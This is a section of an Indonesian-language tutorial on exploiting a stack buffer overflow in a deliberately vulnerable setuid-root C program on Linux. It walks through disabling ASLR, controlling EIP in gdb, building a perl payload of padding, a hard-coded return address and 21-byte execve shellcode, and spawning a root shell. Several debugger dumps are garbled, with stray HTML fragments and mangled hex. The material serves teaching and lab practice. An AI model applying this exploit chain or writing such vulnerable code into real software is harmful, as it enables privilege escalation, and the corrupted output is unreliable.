5.3. Eksploitasi Linux

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5.3.1. Pengenalan Eksploitasi di Linux

Dasar Eskploitasi Buffer Overflow di Linux

Contoh Aplikasi Vulnerable

Berikut ini adalah contoh aplikasi yang terkena bug buffer overflow yang akan kita eksploitasi:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char **argv)
         char local[20];
         if (argc < 2) {
                 printf("\nusage : ./bug <your password>\n");
                 exit(1);
         sprintf(local, "%s", argv[1]);
         if (strcmp(local, "admin") == 0) {
                 setuid(0);
                 execve("/bin/sh", 0, 0);
         }
         else {
                 printf("\nsorry wrong password\n");
         return 0;
}
```

Pada aplikasi di atas kita bisa melihat bahwa buffer diinisialisasi sebesar 20 bytes

char local[20];

Akan tetapi aplikasi akan mengkopi ke buffer dengan ukuran terbatas tersebut dengan inputan argumen dari user dengan panjang tidak terbatas :

```
sprintf(local, "%s", argv[1]);
```

Yang mana akan menyebabkan bug buffer overflow karena jika aplikasi tersebut menerima inputan yang melebihi ukuran buffer sebesar 20 bytes maka akan menyebabkan daerah pada memori di luar buffer akan ikut dioverwrite, di mana eip akan dipengaruhi dengan inputan berlebih tersebut.

Simpan dengan nama bug.c lalu kompile:

gcc -o bug bug.c -z execstack

Sebelum memulai eksploitasi kita harus mematikan proteksi aslr, untuk menonaktifkan aslr ketikkan :

echo 0 > /proc/sys/kernel/randomize_va_space

Selanjutnya ganti kepemilikan menjadi root dan berikan suid :

chown root:root bug;chmod u+s bug

Menguji Bug dan Mengontrol EIP

Untuk menguji aplikasi tersebut di sini telah kita siapkan user biasa dengan login cr0:

```
root@kali: ~
cr0@kali:~$ ls -lah
total 36K
drwxr-xr-x 2 cr0 cr0 4.0K Dec
                                 5 00:30 .
drwxr-xr-x 3 root root 4.0K Dec
                                 5 00:30 ...
                        220 Dec
                                 5 00:30 .bash logout
-rw-r--r-- 1 cr0
                  cr0
                  cr0 3.4K Dec
 rw-r--r-- 1 cr0
                                 5 00:30 .bashrc
                  cr0 3.4K Dec
                                 5 00:30 .bashrc.original
     --r-- 1 cr0
rwsr-xr-x 1 root root 5.4K Dec
                                 5 00:30 bug
-rw-r--r-- 1 root root
                        383 Dec
                                 5 00:30 bug.c
rw-r--r-- 1 cr0 cr0
                        675 Dec
                                 5 00:30 .profile
r0@kali:~$ id
uid=1000(cr0) gid=1001(cr0) groups=1001(cr0)
cr0@kali:~$
```

Dari source code di atas kita mengetahui jika aplikasi di atas menerima inputan lebih dari 20 bytes melalui argumen maka akan terjadi bug buffer overflow.

Untuk melakukan pengujian kita akan menggunakan gdb dan memberikan inputan lebih dari 20 bytes:

```
cr0@kali:~$ gdb ./bug
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<a href="http://www.gnu.org/software/gdb/bugs/>...">http://www.gnu.org/software/gdb/bugs/>...</a>
Reading symbols from /home/cr0/bug...(no debugging symbols found)...done.
sorry wrong password
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
                       0
              0 \times 0
eax
              0xb77a94e0
ecx
                               -1216703264
edx
              0xb77aa360
                               -1216699552
                               -1216704524
ebx
              0xb77a8ff4
esp
              0xbfef7fa0
                               0xbfef7fa0
ebp
              0×41414141
                               0x41414141he
esi
              0 \times 0
                       0
edi
              0 \times 0
              0x41414141
                               0×41414141
eip
```

Dari hasil di atas kita bisa mengontrol eip secara penuh dengan jumlah inputan sebesar 36 bytes.

Langkah selanjutnya kita akan mencoba memberikan inputan dengan ukuran shellcode. Debug program bug dengan gdb lalu berikan inputan:

run `perl -e 'print "\x41" x32'; ``perl -e 'print "\x42\x42\x42\x42"'; ``perl -e 'print "\x43" x400'; `

(gdb) x/300x \$esp 0xbffff350: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffff360: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffff370: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffff380: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffff390: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffff3a0: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffff3b0: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffff3c0: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffff4c0: 0x43434343 0x43434343 0x43434343 0x43434343 0xbffff40o: 0x43434343 0x43434343 0x43434343 0x43434343 <th>0xbffff7f0: (gdb)</th> <th>0x374b6173</th> <th>0x55004167</th> <th>0x3d524553</th> <th>0x00307263</th>	0xbffff7f0: (gdb)	0x374b6173	0x55004167	0x3d524553	0x00307263
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		0x43434343	0x43434343	0x43434343	0x43434343
0.42424242 0.42424242 0.42424242 0.42424242 0.42424242		0x43434343	0x43434343	0x43434343	0x43434343
	0xbfffff490:	0x43434343	0x43434343	0x43434343	0x43434343
0xbffff4a0: 0x43434343 0x43434343 0x43434343 0x43434343		0x43434343	0x43434343	0x43434343	0x43434343
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0xbffff4d0: 0x43434343 0x43434343 0x43434343 0x43434343					

Dari hasil tampilan di atas kita punya cukup tempat untuk menaruh shellcode.

Untuk menguji di mana landing spot kita akan mencoba menggunakan payload mini :

run `perl -e 'print "\x41" x32';``perl -e 'print "\x42\x42\x42\';``perl -e 'print "\x43" x21';`

Kita akan menggunakan shellcode sepanjang 21 bytes saja, selanjutnya kita uji dengan gdb

```
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/100x $esp
0xbffff4c0: 0
                          0x43434343
                                                   0xffff0043
0xbffff520
                                                                             0xb7ffeff4
0xb7fefc16
oxhffffado.
                         Ux 43434343
0xbfffff4e0:
0xbfffff4f0:
                         0xb7fe0b58
0xbffff538
0xbffff500:
                                                                                                      0x00000000
                                                   0x077d688a
0x000000000
                                                                             0x3648fe9a
                                                                                                      0x08048430
0xb7ffeff4
0x08048451
 xbfffff510:
                         0x00000000
 0xbfffff520:
0xbfffff530:
                                                   0xb7ff59c0
0x08048430
                          0x00000000
                                                                             0xb7e76d6b
                         0x00000002
                                                                            0x00000000
0xbffff564
0xbffff55c
0xbffff6c9
0xbffff7c5
0xbffff7c5
0xbffffd4f
0xbffffd4f
0xbffffe83
0xbffffe83
0xbffffe89
                                                                             0x00000000
                                                  Ox00000002
Oxb7ff0590
Oxbfffff6bb
Oxbffff716
Oxbfffffd21
Oxbffffdb7
Oxbffffe2f
Oxbffffe3d
Oxbfffffe4d
Oxbfffffe4d
     ffff550:
                         0x080485b0
0x00000002
                                                                                                       0xb7fff908
 xbfffff560:
                                                                                                       0x00000000
                         Oxbfffff703
Oxbfffff800
Oxbfffffdab
                                                                                                      Oxbfffff7f7
Oxbfffffd5d
Oxbffffe0d
 oxbfffff580:
oxbfffff590:
 xbfffff5a0:
xbfffff5b0:
                         0xbfffffe20
0xbffffe65
                                                                                                      0xbffffee5
0xbfffff9e
  kbfffff5d0:
  xbfffff5e0:
                         0x00000021
                                                   0xb7fe1000
                                                                             0x00000010
```

Ok kita bisa melihat jika kita bisa landing di esp maka kita bisa mengeksekusi shellcode \x43 tadi sepanjang 21 bytes. Selanjutnya kita akan menggunakan shellcode mini sepanjang 21 bytes, shellcode yang akan kita gunakan adalah http://www.shell-storm.org/shellcode/files/shellcode-575.php

dibuat oleh seseorang dengan nick zeroed untuk execve shellcode di mana shellcode ini hanya sebesar 21 bytes.

Dump shellcode di atas ke bentuk binary dengan perl:



Karena esp adalah 0xbffff4c0, maka kita kita encode secara little endian karena kita mengeksploitasi mesin intel x86, menjadi :

$\xc0\xf4\xff\xbf$

Sehingga format exploit kita menjadi :

(junk sebesar 32 bytes) + (eip) + (shellcode sebesar 21 bytes)

Selanjutnya apply payload di atas :

run `perl -e 'print "\x41" x32'; ``perl -e 'print "\xc0\xf4\xff\xbf"'; ``cat shellcode`



Jika eksploitasi berhasil maka shell /bin/sh akan dispawn seperti pada tampilan di atas.